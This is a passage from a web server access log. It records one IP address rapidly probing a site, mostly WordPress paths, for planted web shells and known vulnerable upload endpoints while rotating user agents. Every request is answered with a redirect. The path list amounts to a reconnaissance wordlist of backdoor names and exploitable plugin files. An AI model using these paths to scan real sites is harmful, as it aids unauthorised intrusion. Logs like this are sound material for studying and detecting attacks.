HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:40 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:40 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:40 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:40 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:40 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:40 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:40 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:41 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:41 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.89 - - [27/Apr/2025:19:23:41 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:41 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:41 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:41 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:41 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:41 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:42 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:42 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:42 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:42 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:42 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:42 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:23:42 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:42 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:23:42 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:42 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:43 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:23:43 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:23:43 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:43 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:43 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:43 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:44 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:23:44 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:44 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:44 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:44 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:44 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:44 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:44 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:23:45 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:45 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:45 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:45 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:23:45 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:23:45 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:45 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.89 - - [27/Apr/2025:19:23:45 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:45 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:23:46 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:46 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:46 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.89 - - [27/Apr/2025:19:23:46 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:46 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:47 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.89 - - [27/Apr/2025:19:23:47 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:47 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:47 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:47 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:23:47 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:47 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.89 - - [27/Apr/2025:19:23:47 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:48 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:48 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:48 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:48 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:48 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:48 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:49 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:23:49 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:49 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:49 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:49 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:49 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.89 - - [27/Apr/2025:19:23:49 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:50 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:50 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:50 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:50 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:50 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.89 - - [27/Apr/2025:19:23:50 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:51 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:23:51 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:51 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:51 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:51 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.89 - - [27/Apr/2025:19:23:51 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:52 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:52 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:52 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:52 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:52 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:52 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:52 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:53 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:53 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:53 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:53 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:54 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:54 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:54 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:54 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:54 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:54 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:54 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:54 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:54 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.89 - - [27/Apr/2025:19:23:55 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:55 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:55 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:55 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 